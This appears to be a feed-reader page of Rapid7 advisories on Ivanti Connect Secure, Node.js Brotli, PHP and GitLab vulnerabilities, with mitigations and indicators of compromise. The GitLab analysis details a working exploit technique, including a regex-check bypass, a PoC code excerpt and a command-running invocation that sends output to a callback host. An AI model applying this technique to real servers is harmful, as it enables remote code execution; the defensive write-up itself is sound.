❌

Normal view

There are new articles available, click to refresh the page.
Before yesterdayMain stream

Additional Ivanti Connect Secure zero-days exploited in the wild (CVE-2026-111357, CVE-2026-118527)

By: Rapid7
2 November 2026 at 06:04

Overview

On October 29, 2026, Ivanti updated its security advisory for Ivanti Connect Secure (ICS) to include two additional vulnerabilities and released fixes for both. Ivanti rates CVE-2026-111357, a missing authentication for critical function vulnerability (CWE-306), with a CVSSv3.1 score of 8.8; it allows a local authenticated attacker to escalate privileges. CVE-2026-118527, classified as generation of predictable numbers or identifiers (CWE-340), has an Ivanti-assigned CVSSv3.0 score of 4.3 and, according to CISA's KEV entry, allows a remote authenticated attacker to upload attacker-controlled content to a known location on disk.

Per Ivanti, exploitation in the wild has already occurred prior to disclosure, affecting a limited number of customers when these flaws are chained with CVE-2026-104935, an authentication bypass by spoofing (CWE-290). Rapid7 covered the original disclosure on October 13, 2026, when a fix for CVE-2026-104935 was available but the privilege escalation component remained unpatched. Fixes are now available for all three vulnerabilities.

On October 30, 2026, CVE-2026-111357 and CVE-2026-118527 were added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), based on evidence of active exploitation.

The following scores and classifications are from Ivanti's updated advisory:

CVE

Ivanti CVSS score

CWE

Impact

CVE-2026-104935

8.6 (High), CVSSv3.0

CWE-290

Remote unauthenticated command execution

CVE-2026-111357

8.8 (High), CVSSv3.1

CWE-306, CWE-862, CWE-345

Local authenticated privilege escalation

CVE-2026-118527

4.3 (Medium), CVSSv3.0

CWE-340

Remote authenticated file upload to a known path

Note: The CVE record and Rapid7's vulnerability database rate CVE-2026-111357 at 7.0, using high attack complexity and unchanged scope. Ivanti assesses low attack complexity and changed scope, resulting in its score of 8.8. The table follows Ivanti's scores and classifications.

In its investigation, Volexity reports that UTA0576 used an exploit chain to gain unauthenticated root access to an appliance running 22.8R2.4, beginning on October 3, 2026. Its write-up identifies CVE-2026-104935 and CVE-2026-111357; Ivanti's updated advisory identifies CVE-2026-118527 as an additional component of the chain. Volexity observed credential theft and Active Directory queries for Windows LAPS passwords and BitLocker recovery keys.

The combined impact warrants emergency remediation despite the individual CVSS ratings. Ivanti Connect Secure is an enterprise VPN solution deployed at the network edge and has a history of zero-day exploitation, including in 2024 and 2025.

Mitigation guidance

Rapid7 recommends applying the available updates on an emergency basis outside of normal patching cycles. The October 13 fixes in 25.1.1.2 and 22.8R2.5 do not remediate CVE-2026-111357 or CVE-2026-118527.

CVE(s)

Affected versions

Fixed version(s)

CVE-2026-111357 and CVE-2026-118527

25.1.1.2 and prior

25.1.1.3

CVE-2026-111357 and CVE-2026-118527

22.8R2.5 and prior

22.8R2.6

CVE-2026-104935

25.1.1.1 and prior

25.1.1.2

CVE-2026-104935

25.1.2.2 and prior

25.1.3.0, 25.1.3.1

CVE-2026-104935

22.8R2.4 and prior

22.8R2.5

Ivanti recommends moving from 22.8.X to 25.1.1.3 or later, or applying 22.8R2.6 if migration is not immediately possible. Ivanti lists 25.1.3.0 and later on ISA4500, ISA6500, or ISA8500 as unaffected.

Rapid7 also recommends investigating for compromise after patching. Volexity reports that the observed activity evades Ivanti's Integrity Checker Tool, so a clean result does not rule out compromise. Preserve memory and logs before rebooting or resetting where feasible. If compromise is suspected, follow Ivanti's recovery steps and rotate potentially exposed credentials.

For current fixed versions and mitigation guidance, refer to Ivanti's security advisory. Its linked recovery procedure includes older release references.

Artifacts, evidence sources, and IOCs

The following guidance and artifacts are from Volexity's investigation:

Hunting guidance:

  • Review requests to /dana-na/auth/url_default/welcome.cgi, especially URL/header mismatches involving X-DSCGI-PATH. Observed values include:

X-DSCGI-PATH: /home/webserver/htdocs/dana/fb/smb/wu.cgi
X-DSCGI-PATH: /home/runtime/tmp/<MD5(filename)>

Evidence sources on the appliance:

  • /tmp/: ml.py, rq5.py, mk.py, rr.py, pu.txt, sp_out.txt, and spray_hits.json.

  • /data/.icscap/: dsstatmond, cap*, and h.py.

  • /home/runtime/tmp/: ics-root-run-inband-*.pl and ics-root-result-inband-*.

  • /home/runtime/dlogs/debuglog and /var/log/audit/audit.log: investigate evidence of selective deletion.

Network IOCs:

  • 108.165.147[.]64: UTA0576 exploitation IP, per Volexity's IOC list.

Volexity also provides YARA rules for request-header evidence and the privilege escalation payload in memory.

Rapid7 customers

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-111357 and CVE-2026-118527 with authenticated vulnerability checks available since the 2026-10-30 content release.

Updates

  • November 2, 2026: Initial publication.

CVE-2026-111497: Critical out-of-bounds write in the Node.js Brotli decoder

By: Rapid7
26 October 2026 at 13:32

Overview

On October 21, 2026, the Node.js Project published a security advisory for CVE-2026-111497, an out-of-bounds write in the Brotli decoder bundled with Node.js. The vulnerability affects the Node.js 26.x, 24.x, and 22.x release lines. Node.js rates the issue High, while Google, the CVE Numbering Authority (CNA), gives it a critical CVSSv4 score of 9.2.

An attacker who can supply Brotli data that an application decompresses with node:zlib can corrupt process memory. According to Node.js, this corruption can lead to a process crash, disclosure of sensitive process memory, or remote code execution. Exposure therefore depends on whether an application passes attacker-controlled compressed data to the affected decoder.

On October 27, 2026, CVE-2026-111497 was added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), based on evidence of active exploitation. Given the vulnerability's potential to disclose memory or enable remote code execution (RCE), Rapid7 recommends that organizations prioritize remediation.

Technical overview

CVE-2026-111497 is classified as an out-of-bounds write (CWE-787) and an unchecked return value (CWE-252). Per the vendor advisory, the decoder handled an invalid Brotli block switch as a temporary need for more input instead of a permanent format error. The streaming decoder then continued appending input bytes to an eight-byte internal buffer, allowing malformed input to write beyond the buffer and corrupt process memory.

The vulnerability originates in Google Brotli, which the affected Node.js release lines bundle as a dependency. The CVE record identifies affected upstream Brotli ranges on all platforms as versions 1.0.3 before 1.0.10, 1.1.0 before 1.1.1, and 1.2.0 before 1.2.1. The Node.js Project remediated its bundled decoder in the fixed Node.js releases listed below.

Because CVE-2026-111497 affects the upstream Google Brotli decoder, its reach is not limited to Node.js. Vendor and project advisories have also identified affected implementations in Bun, Python's Brotli and brotlicffi packages, .NET, Envoy and Istio, brotli4j, and operating-system packages. Affected versions, default exposure, and remediation vary by product; the presence of an affected decoder does not by itself establish exposure unless an application processes attacker-controlled Brotli data. Organizations should consult the relevant downstream vendor or distribution advisories to identify affected versions, assess exposure, and determine appropriate remediation.

Mitigation guidance

Vendor-supplied security updates are available to remediate CVE-2026-111497. Organizations running an affected Node.js release should upgrade on an urgent basis, outside of normal patch cycles:

  • Node.js 22.x releases before 22.23.4 are affected; upgrade to 22.23.4 or later.

  • Node.js 24.x releases before 24.22.1 are affected; upgrade to 24.22.1 or later.

  • Node.js 26.x releases before 26.12.1 are affected; upgrade to 26.12.1 or later.

The vendor states that end-of-life Node.js release lines should also be treated as affected when a security release occurs. Organizations using an end-of-life release should migrate to a supported, fixed release line. Node.js has not published a vendor-supported workaround; if an immediate upgrade is not possible, Rapid7 recommends restricting or disabling application paths that decompress untrusted Brotli data as a temporary exposure-reduction measure.

For the latest mitigation guidance, please refer to the Node.js security advisory.

Rapid7 customers

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-111497 with an authenticated vulnerability check for Linux, macOS, and Windows, available in the October 26 content release.

Updates

  • October 26, 2026: Initial publication.

  • October 26, 2026: Updated the Exposure Command, Vulnerability Management, and Nexpose section to reflect coverage availability.
  • October 27, 2026: Updated Overview to add a reference to CVE-2026-111497 being added to the CISA KEV list.

CVE-2026-109618 and CVE-2026-109619: Critical Unauthenticated Remote Code Execution in PHP

By: Rapid7
21 October 2026 at 11:22

Overview

On October 21, 2026, the PHP project announced security releases for two critical vulnerabilities in PHP. CVE-2026-109618 can corrupt memory during out-of-memory (OOM) handling, while CVE-2026-109619 is a use-after-free flaw involving state retained between requests. Both have a CVSSv4 score of 9.2 and both can allow for unauthenticated remote code execution (RCE) with the web worker's privileges.

CVE

CVSSv4

Description

CVE-2026-109618

9.2 (Critical)

RCE via OOM corruption

CVE-2026-109619

9.2 (Critical)

RCE via stale global state

All installations serving web requests are at risk, including PHP-FPM, Apache mod_php, php-cgi, FrankenPHP, and LiteSpeed. The vendor considers mod_php the highest risk because exploitation can succeed before any application code runs.

The advisories report that a successful RCE exploit was developed during research, including achieving RCE against Apache mod_php and PHP-FPM through different attack paths. As of October 21, 2026, there are multiple indications that this research is being independently reproduced, and a viable exploit is expected to be made public soon.

Due to the extremely high deployment of PHP based web applications, exploitation in-the-wild is expected. Rapid7 recommends updating affected installations on an emergency basis, outside of normal patch cycles.

Multiple public proof-of-concept (PoC) exploits for CVE-2026-109618 and CVE-2026-109619 are now available. Rapid7 researchers have reviewed these and observe that each demonstrates RCE only against a specific combination of operating system, PHP version, and web server, and none appears to be broadly reliable. Rapid7’s own research supports this. Our attempts so far have produced a working exploit only under narrow lab conditions, and exploitation depends on assumptions that are unlikely to hold on internet-facing instances. We are continuing to investigate approaches that could improve portability, but have not yet developed a reliable, general-purpose exploit. Rapid7 has not observed exploitation in the wild, though there are multiple reports of exploitation attempts, which is expected for a vulnerability of this profile. The situation is evolving quickly, and a more portable exploit technique could emerge at any time. The current difficulty of reliable exploitation should be treated as a window to patch rather than a reason to delay, and Rapid7 continues to recommend updating affected installations on an emergency basis.

Update #1: On October 26, 2026, CVE-2026-109618 and CVE-2026-109619 were added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), based on evidence of active exploitation. CISA set the remediation due date to October 29, 2026, for affected Federal Civilian Executive Branch agencies and directs them to follow the associated BOD 26-04 forensic triage requirements. Rapid7 continues to recommend updating affected installations on an emergency basis and investigating for prior compromise.

Technical overview

CVE-2026-109618: Memory corruption during OOM handling

According to the OOM advisory, PHP can abruptly abandon request processing when a memory allocation fails. If internal request data is only partly initialized, that exit can leave invalid data for request cleanup to use. Crafted multipart requests, used for forms and file uploads, can exhaust memory even when their size appears to meet PHP's configured limits. Application operations that allocate memory in response to attacker input can also trigger OOM.

Apache mod_php runs cleanup even when request startup fails, enabling the demonstrated attack before application code executes. The advisory reports RCE over HTTP with default PHP input and memory limits, including multi-worker prefork deployments. PHP-FPM terminates a worker when startup fails, preventing that particular sequence. Source analysis supports FPM susceptibility after successful startup, but the advisory reports no complete FPM exploit for this CVE. Exploit portability and reliability depend on the PHP build, extensions, frontend behavior, and memory layout.

CVE-2026-109619: Use after free across requests

PHP can reuse a worker process to handle multiple HTTP requests. The stale-state advisory describes internal state that still points to memory freed at the end of an earlier request. A later request handled by the same worker can access that stale value before normal initialization clears it. Fatal errors, including memory exhaustion and execution timeouts, can interrupt state cleanup; some nonfatal diagnostics during shutdown can also repopulate error state after it was reset.

The advisory confirms RCE against mod_php through PHP 8.5's fatal error backtrace feature, when fatal_error_backtraces is enabled (the default), where a later initialization diagnostic accesses stale backtrace state. It also confirms session lifecycle RCE against mod_php and FPM. Session upload progress, PHP's upload-tracking feature, is enabled by default and can act as an early consumer of stale session or decoder state before normal initialization; reaching this consumer does not itself require an application call to session_start().

The validated FPM session path requires a suitable application operation to leave state behind after successful startup, followed by a fatal error and another request that consumes the stale state through session upload progress. Both requests must reach the same worker. Multiple workers and worker recycling can reduce success per request, but do not eliminate the condition.

Mitigation guidance

PHP has released fixes for both vulnerabilities. Organizations should prioritize updating to the appropriate fixed release or a vendor package containing both complete patches. The PHP advisories list these affected and fixed versions:

  • PHP 8.2 releases before 8.2.35: Update to 8.2.35

  • PHP 8.3 releases before 8.3.36: Update to 8.3.36

  • PHP 8.4 releases before 8.4.27: Update to 8.4.27

  • PHP 8.5 releases before 8.5.12: Update to 8.5.12

Linux distributions and long-term support vendors received patches in advance; check your vendor for updated packages. PHP 8.1 and older no longer receive routine upstream updates. For this incident, PHP has supplied limited source backports for PHP 7.4, 8.0, and 8.1. Organizations running older branches should obtain a vendor fix, use the source backports described in the PHP announcement, or upgrade to a supported version. PHP also warns that rpms.remirepo.net will not have updates on October 21, 2026, and urges its users to switch to distribution packages or build from source.

Note that an update containing both complete fixes is the only complete remediation. 

PHP's temporary configuration measures reduce exposure to specific paths and require careful deployment:

  • For the OOM issue, enforce memory_limit=-1 administratively, such as through FPM pool or Apache configuration that applications cannot override. This disables PHP's per-request memory cap and removes the predictable PHP-limit failure used by the confirmed exploit. An underlying allocation failure can still reach the vulnerable path. Restart every worker and verify that no pool, directory, or application setting restores a finite limit.

  • For the session lifecycle path, set session.upload_progress.enabled=0 in php.ini, an FPM pool, or server configuration that applies before request parsing, then restart every worker. Application-level ini_set() and FPM .user.ini are too late. This addresses the confirmed session paths only.

  • On PHP 8.5, set fatal_error_backtraces=0 administratively and restart every worker. This addresses the confirmed fatal backtrace path only; other retained state remains a concern.

Disabling PHP's memory cap makes independent resource controls particularly important. PHP recommends post_max_size=8M where uploads are unnecessary or post_max_size=32M where they are needed, with upload_max_filesize below that limit. At the frontend, bound decoded request size, input and multipart counts, headers per part, and nesting depth, including requests without a usable Content-Length. If the application does not use multipart data, block those requests before they reach PHP.

Container or cgroup memory limits are also incomplete: allocation failures remain possible, and enforcement can kill the master process and all workers unless workers are isolated. Do not substitute RLIMIT_AS or RLIMIT_DATA, which can trigger the vulnerable allocation-failure path.

For stale-state exposure, correct invalid or deprecated per-request settings and attacker-reachable fatal errors or timeouts. Hiding diagnostics through error_reporting, display_errors, log_errors, or @ does not prevent stale-state access. The absence of relevant log entries is not proof that an installation is safe.

For the latest mitigation guidance, refer to PHP's OOM corruption advisory and stale global state advisory.

Rapid7 customers

To learn how to use Rapid7 capabilities to find systems affected by these vulnerabilities and for answers to common questions, read the PHP2Shell documentation.

For Rapid7 Customers with questions regarding Rapid7 products and their usage of PHP please consult this page.

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-109618 and CVE-2026-109619 with remote unauthenticated vulnerability checks, available in a dedicated release that followed the regular October 21 content release.

Rapid7 has also released authenticated scan checks for both the Scan Engine and the Agent for CVE-2026-109618 and CVE-2026-109619 as part of the October 22 content release.

Authenticated, package-based checks are now available for a variety of Linux distributions.  These checks evaluate installed distribution packages, so they can recognize backported fixes that keep the original upstream PHP version number. Run an authenticated scan with this content release to use them. For the full list of checks and supported distribution versions, read Rapid7’s PHP2Shell documentation, where package-based coverage for other distributions will be added as their fixes are published.

In a dedicated October 23 content release following the regular release, Rapid7 has released coverage for CVE-2026-115560, published on October 23 by the PHP Foundation. A mitigation technique is available, but no patch has yet been published. Exploitation of CVE-2026-115560 relies on non-standard configuration.

Current scope for authenticated coverage: Windows, macOS and Linux. Remote unauthenticated coverage provides coverage regardless of web-server OS.

Velociraptor

A Velociraptor Artifact Generic.Applications.PHPInventory is available to inventory PHP installations on Windows, Linux and macOS for remediation scoping. This artifact allows for the collection of package versions, common binary and module paths, and running PHP processes.

Updates

  • October 21, 2026: Initial publication.

  • October 21, 2026: Updated to reflect availability of vulnerability checks.

  • October 22, 2026: Updated the Overview section to include Rapid7’s findings on a PoC and the Rapid7 Customers section to include a link to the FAQ documentation.

  • October 23, 2026: Updated the Exposure Command, Vulnerability Management, and Nexpose section to describe authenticated coverage, Linux distro backported coverage, and more.

  • October 27, 2026: Updated the Overview to note that CVE-2026-109618 and CVE-2026-109619 were added to the CISA KEV catalog. Updated Rapid7 customers section to reflect added Windows support.

Rapid7 Analysis: GitLab CI/CD Regex Integer Overflow (CVE-2026-97229)

16 October 2026 at 09:31

Overview

On October 12, 2026, GitLab released 19.4.2, 19.3.5, and 19.2.8 to fix CVE-2026-97229, an integer overflow in its CI/CD regular-expression handling. The issue was reported through HackerOne by joaxcar. GitLab assigned it a CVSS score of 10.0 and described possible code execution by an unauthenticated user.

The advisory states that CVE-2026-97229 affects GitLab CE and EE from 19.2 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2. GitLab says all deployment types are affected unless stated otherwise. GitLab.com was patched before disclosure, and Dedicated customers do not need to act.

Rapid7 researchers developed an end-to-end PoC that reliably runs arbitrary commands as GitLab's git operating-system account on the official Linux amd64 gitlab/gitlab-ce:19.4.1-ce.0 image with ASLR enabled. GitLab's release notes do not report exploitation in the wild occurring at the time of disclosure.

This analysis covers one end-to-end route. It begins after an attacker has pushed both the malicious CI configuration and a specially named path to a public project; only the final CI lint request is unauthenticated. That prerequisite conflicts with GitLab's PR:N rating, and because the underlying report remains private, we do not yet know how the reported attack avoids it.

Technical analysis

At a high level, the chain crosses from attacker-controlled repository input into Onigmo pcode and finally native code execution.

Figure 1
Figure 1: From repository inputs to command execution.

CI rules pass repository paths to Onigmo

GitLab supports regular-expression matching over repository paths in rules:exists:regexp and rules:changes:regexp. One way to evaluate such an expression during static configuration processing is to place it on a conditional include:

include:
  - local: /benign.yml
    rules:
      - exists:
          regexp: "ATTACKER_PATTERN"

RegexpMatcher expands the expression, compiles it with Ruby's native regular-expression engine, and tests it against paths from the selected Git worktree:

# Exists#regexp_match?()
def regexp_match?(context)
  matcher = regexp_matcher(context)  matcher.validate_pattern_length! # [0] Source-length check

  Gitlab::SafeRequestStore.fetch(regexp_comparison_key(context, matcher.expanded_pattern)) do
    # ... top-level optimisation omitted
    matcher.match?(worktree_paths(context, false)) # [1] Repository paths
  end
end

# RegexpMatcher#match?()
def match?(paths)
  # ... path-count fail-open handling omitted
  pattern = compile_pattern # [2] Compile regexp
  deadline = current_monotonic_time + REGEXP_TOTAL_TIMEOUT_SECONDS

  paths.any? do |path|
    # ... total-budget check omitted
    pattern.match?(path) # [3] Native match
    # ... per-match timeout handling omitted
  end
end

By the time execution reaches [0], GitLab is checking only the length of the expanded source expression. The call at [1] supplies every filename in the selected commit, while compile_pattern at [2] ultimately invokes Regexp.new. Each iteration at [3] therefore crosses from CI configuration into native Onigmo with a repository path as the match subject.

Smuggling a large repeat through the checks

GitLab places several sensible limits around CI regular expressions. The interesting parts of its wrapper are shown below:

REPEAT_BOUND = /(?<!\\)(?:\\\\)*\{\s*(\d+)\s*(?:,\s*(\d+)?\s*)?\}/ # [4] Repeat scanner

def self.compile_regexp(pattern, timeout: nil)
  raise RegexpError, 'uses a subroutine call (\g), which is not allowed' if SUBROUTINE_CALL.match?(pattern) # [5] Subroutine-call check
  reject_large_repeats!(pattern) # [6] Repeat-bound check

  alternation_free = pattern.gsub(ESCAPE_OR_ALTERNATION) { |token| token == '|' ? '\\|' : token }

  probe =
    begin
      Regexp.new(alternation_free)
    rescue RegexpError => e
      # ... error-message rewriting omitted
    end

  check_compiled_size!(probe) # [7] Probe size check
  check_compiled_size!(Regexp.new(pattern, timeout: timeout)) # [8] Final size check
end

The source-length check occurs before this function. The subroutine-call check at [5] and the repeat-bound check at [6] defend against structural growth, but the scanner at [4] recognizes only contiguous digits. Compilation then happens twice: [7] checks an alternation-free probe, and [8] checks the requested expression and attaches the 50-millisecond timeout. Either object is rejected if it exceeds one megabyte.

The PoC hides its quantifier bound from the scanner at [4] via an inline comment: {5(?#)7805}

(?#) is an inline regex comment. Onigmo ignores it and reads the bound as 57,805. GitLab's scanner expects contiguous digits, so it does not see a bound above 1,000.

That bypass admits the large repeat, but the checked expression is still only 986 bytes. The six [[:word:]] classes expand when matching begins against a repository path containing valid four-byte UTF-8 characters. Ruby recompiles the same source for UTF-8, each POSIX word class expands into a large Unicode range table, and GitLab never checks the size of this new program.

Ruby selects or recompiles the regex before starting its timed matcher:

/* re.c: rb_reg_prepare_re() */
regex_t *reg = RREGEXP_PTR(re);
if (reg->enc == enc) return reg; // [9] Matching encoding

// ... source preprocessing and use-count branch omitted
r = onig_new_without_alloc(&tmp_reg, (UChar *)ptr, (UChar *)(ptr + len),
                           reg->options, enc,
                           OnigDefaultSyntax, &einfo); // [10] Onigmo recompile
// ... error handling and old-program replacement omitted

/* re.c: rb_reg_onig_match() */
reg = rb_reg_prepare_re(re, str);
// ... use-count bookkeeping omitted
OnigPosition result = match(reg, str, regs, args); // [11] Begin timed match
// ... result cleanup omitted

At [9], Ruby returns the existing program only when its encoding matches the subject. Otherwise, [10] recompiles the source for the subject encoding via Onigmo. Only then does [11] begin timed matching, leaving the unsafe compilation outside the timeout.

Onigmo compiles the regular expression into bytecode, which its source calls pcode. Its regex VM then runs that pcode against each path, so the UTF-8 recompilation at [10] is where the oversized pcode program is created.

The repeated target also carries the bytes that run after the overflow:

# poc.py: build()
# ... prefix setup omitted
target = "(?<=" + "[[:word:]]" * 6 + "".join(character_class(stage) for stage in STAGES)
digits = str(REPEAT_COUNT)
pattern = f"\\A(?>{prefix}(?:{target}){{{digits[0]}(?#){digits[1:]}}}|)\\b\\B"

The six [[:word:]] classes are only the size multiplier. The payload sits in four more character classes generated by character_class(stage). A class such as [abc] compiles to a bitmap with bits set for a, b, and c. The helper works backwards from each desired pcode sequence and chooses class members whose bitmap reproduces those bytes. This puts attacker-controlled VM instructions at the end of every expanded copy.

Crossing INT_MAX

Under UTF-8, one copy of the repeated body is 37,151 bytes. The relevant Onigmo compiler code in Ruby 3.3.12 is:

/* regcomp.c: compile_quantifier_node() */
/* ... earlier quantifier cases omitted */
else if (!infinite && qn->greedy &&
         (qn->upper == 1 || (tlen + SIZE_OP_PUSH) * qn->upper
                                <= QUANTIFIER_EXPAND_LIMIT_SIZE)) { // [12] Signed size check
int n = qn->upper - qn->lower;

  r = compile_tree_n_times(qn->target, qn->lower, reg); // [13] Expand lower copies
if (r) return r;

// ... optional copies omitted
}
/* ... remaining quantifier cases omitted */

With this body size (37,151) and quantifier bound (57,805):

37,151 × 57,805 = 2,147,513,555 = 0x800074d3

That is 29,908 (0x74D4) bytes beyond signed INT_MAX (0x7FFFFFFF). At [12], the negative result satisfies the compiler's “small enough to expand” test. Onigmo enters the expansion path at [13] and emits all 57,805 copies.

The | immediately after {5(?#)7805} makes the repeated body the first alternative and leaves the second alternative empty. Onigmo compiles this | into two pcode branches. An OP_PUSH near the beginning is meant to record the empty alternative as a backtracking target, but does not transfer execution on this path. The first bad transfer is the OP_JUMP emitted after the giant first alternative by the alternation compiler:

/* regcomp.c: compile_tree(), NT_ALT */
/* ... calculate alternation length omitted */
pos = reg->used + len;  /* goal position */

/* ... emit the fallback and first alternative omitted */
if (IS_NOT_NULL(NCDR(node))) {
  len = pos - (reg->used + SIZE_OP_JUMP);
  r = add_opcode_rel_addr(reg, OP_JUMP, len); // [14] Skip empty branch
if (r) break;
}

The jump at [14] should skip the empty alternative and land at the end of the alternation. The compiler calculated pos from the already wrapped length, however. Our build emits the jump at offset 2,147,513,698 with a displacement of -136, sending execution into the first payload bitmap in the last expanded copy, 140 bytes from the end of the pcode.

From character-class bitmap to system()

The wrapped branch now leaves normal generated pcode and enters a controlled character-class bitmap. Onigmo consequently runs the bytes encoded by character_class() as VM instructions, starting the sequence shown here.

Figure 2
Figure 2: From controlled Onigmo pcode to native command execution.

The controlled pcode redirects Onigmo's backtracking stack, which holds saved match state, into the repository path. On a failed match, the VM restores the two values shown in the diagram: the next instruction from the path and FinishCode, a pointer from its bottom stack frame. The first value decides where controlled pcode resumes. The second gives it a known address inside libruby.

The path instruction sends control to the final controlled bitmap. That bitmap adjusts the recovered libruby pointer to a short instruction sequence that passes the path command to system(), then writes that address into match_at()'s native return slot. When the matcher finishes, execution returns through the overwritten slot. FinishCode and the call site are in the same libruby mapping, so the distance between them stays constant under ASLR.

Exploitation

Delivering the branch through CI lint

Once the malicious configuration and path are present on a public branch, GitLab's CI lint API supplies an unauthenticated trigger. The GET form accepts an attacker-selected content_ref, loads .gitlab-ci.yml from that commit, and evaluates it:

GET /api/v4/projects/attacker%2Fpublic-project/ci/lint?content_ref=payload-ref
Host: gitlab.example

The route checks whether the requester may read the public repository, resolves the supplied ref, and passes its CI configuration to the static linter:

get ':id/ci/lint' do
  authorize_read_code! # [17] Read authorization
  not_found! 'Repository' if user_project.empty_repo?

  unauthorized!("This endpoint requires an API authentication") if current_user && !::Current.token_info # [18] Token check

  content_ref = params[:content_ref] || params[:sha] || user_project.repository.root_ref_sha # [19] Select commit
  dry_run_ref = params[:dry_run_ref] || params[:ref] || user_project.default_branch

  commit = user_project.commit(content_ref)
  not_found! 'Commit' unless commit.present?

  content = user_project.repository.blob_data_at(commit.sha, user_project.ci_config_path_or_default)
  result = Gitlab::Ci::Lint
    .new(project: user_project, current_user: current_user, sha: commit.sha)
    .legacy_validate(content, dry_run: params[:dry_run], ref: dry_run_ref) # [20] Run static lint

  present result, with: Entities::Ci::Lint::Result, current_user: current_user, include_jobs: params[:include_jobs]
end

Public visibility makes authorize_read_code! at [17] succeed without credentials, while the condition at [18] does not reject an absent current_user. The selected branch becomes the static linter's input through [19] and [20], without creating a pipeline or contacting a runner. This is why the exploit's trigger can be unauthenticated even though the demonstrated setup requires project write access.

Running a command

The initial Python PoC clones a public project controlled by the operator, creates a payload branch, starts the callback, and sends the lint request:

$ python3 poc.py https://g.example 123 \
    --git-url 'https://oauth2:ATTACKER_TOKEN@g.example/attacker/public-poc.git' \
    --callback-url cb.ex:8000 \
    --cmd 'uname -a && id'
[*] deployed attacker ref 69fe2478c446ab17afe4c150; executing: uname -a && id
[*] delivery GET https://g.example/api/v4/projects/123/ci/lint?content_ref=69fe2478c446ab17afe4c150
[*] target stopped responding after delivery: HTTP Error 502: Bad Gateway
[uname output omitted]
uid=998(git) gid=998(git) groups=998(git)

HTTP 502 is expected. The command runs synchronously in a Puma worker. After system() returns, the corrupted worker crashes. GitLab Workhorse, the reverse proxy in front of Puma, sees its Rails backend connection close and returns 502. Puma replaces the worker. The callback output, not the HTTP status, is the success signal.

The target-specific values in this PoC, such as SYSTEM_STEP_COUNT, the number of UTF-8 backward steps from FinishCode to the libruby system() call site, match official GitLab CE 19.4.1 on Linux amd64. Other vulnerable packages or architectures need adjusted pcode and libruby offsets. A little over 2 GiB is required in the worker, and our complete single-node GitLab target needed about 9 GiB available. Low-memory instances may swap, reject the allocation, or invoke the OOM killer.

The fix

GitLab's Ruby backport replaces the multiplication at [12] with a division-based test, which cannot overflow, and rejects compiled programs above roughly 512 MiB:

/* regcomp.c */
#define IS_EXPAND_LIMIT_OK(tlen, n) \
  ((n) <= 0 || (tlen) <= QUANTIFIER_EXPAND_LIMIT_SIZE / (n))

/* ... unrelated compiler declarations omitted */
#define MAX_COMPILED_PROGRAM_SIZE (INT_MAX_LIMIT / 4)

On the patched image, the crafted quantifier remains a compact loop and the request returns a normal false match. The repeat-range double-free fixed in the same release affects an error path and is not part of this chain.

Detection guidance

For the exploitation strategy described in this analysis, correlate:

  1. /var/log/gitlab/gitlab-workhorse/current: a several-second GET /api/v4/projects/<project>/ci/lint?content_ref=<ref>, badgateway: failed to receive response: EOF, and HTTP 502.

  2. A Puma worker crashes or restarts at the same time; any saved trace contains regexp_matcher.rb.

  3. The referenced commit: an (?#)-split repeat, repeated POSIX word classes, and a path containing four-byte UTF-8 characters.

A shell child or roughly 2 GiB worker-memory increase strengthens the match. The undisclosed path may differ.

Mitigation guidance

Self-managed GitLab customers should upgrade to the fixed patch for their release: 19.2.8, 19.3.5, or 19.4.2. As a temporary measure, restrict credential-free access to attacker-writable public projects or block this lint route. Route controls do not repair the vulnerable Ruby compiler.

Please read GitLab's critical patch release for the latest guidance.

Ivanti Connect Secure zero-day exploited in the wild (CVE-2026-104935)

By: Rapid7
13 October 2026 at 13:06

Overview

On October 13, 2026, Ivanti published a security advisory for CVE-2026-104935, a high-severity authentication bypass by spoofing (CWE-290) affecting Ivanti Connect Secure (ICS). The vulnerability has a CVSSv3.0 score of 8.6 and allows a remote, unauthenticated attacker to execute arbitrary commands.

Ivanti reports that exploitation in the wild has already occurred prior to disclosure, affecting a limited number of customers. This indicates that exploitation has been occurring as a zero-day vulnerability. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) confirms exploitation in the wild, and added CVE-2026-104935 to its Known Exploited Vulnerabilities (KEV) catalog on the same day as the vendor's public disclosure. The digital forensics firm Volexity has published a detailed blog post describing the threat actor activity, which was detected in early October 2026. Volexity notes that in addition to leveraging CVE-2026-104935 as a zero-day, the threat actor also leveraged an as-yet unpatched privilege escalation vulnerability which Ivanti are planning to patch at a later date.

According to the vendor, a portion of the vulnerability was initially discovered through its product security program and patched in the July 2026 release of 25.1.3.0. Exploitation occurred while Ivanti was working to backport the fix to the remaining supported versions.

Ivanti Connect Secure is a popular enterprise VPN solution and naturally sits on the edge of a corporate environment. The product has a history of being targeted by attackers, with zero-day exploitation of other vulnerabilities occurring back in both 2024 and 2025.

Given the confirmed exploitation, the ability to execute commands without authentication, along with the history of the product, Rapid7 recommends that organizations running affected versions apply the appropriate update on an emergency basis outside of normal patching cycles.

Mitigation guidance

Vendor-supplied updates are available to remediate CVE-2026-104935. Ivanti lists the following affected and resolved versions:

Ivanti Connect Secure affected versions

Resolved versions

25.1.1.1 and prior in the applicable code line

25.1.1.2

25.1.2.2 and prior in the applicable code line

25.1.3.0, 25.1.3.1

22.8R2.4 and prior in the applicable code line

22.8R2.5

Note that the vendor advisory confirms that versions 22.7.x and below are unaffected.

At the time of the advisory, Ivanti states that reliable indicators of compromise are not available, however Volexity have published several here. Rapid7 strongly recommends looking for signs of compromise even after the patch has been applied. Customers who suspect exploitation should follow the vendor's recovery steps.

For the latest mitigation guidance, please refer to the vendor's security advisory.

Rapid7 customers

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-104935 with a vulnerability check expected to be available in the October 14 content release.

Updates

  • October 13, 2026: Initial publication.

CVE-2026-97229: Critical Unauthenticated Remote Code Execution in GitLab

By: Rapid7
13 October 2026 at 07:29

Overview

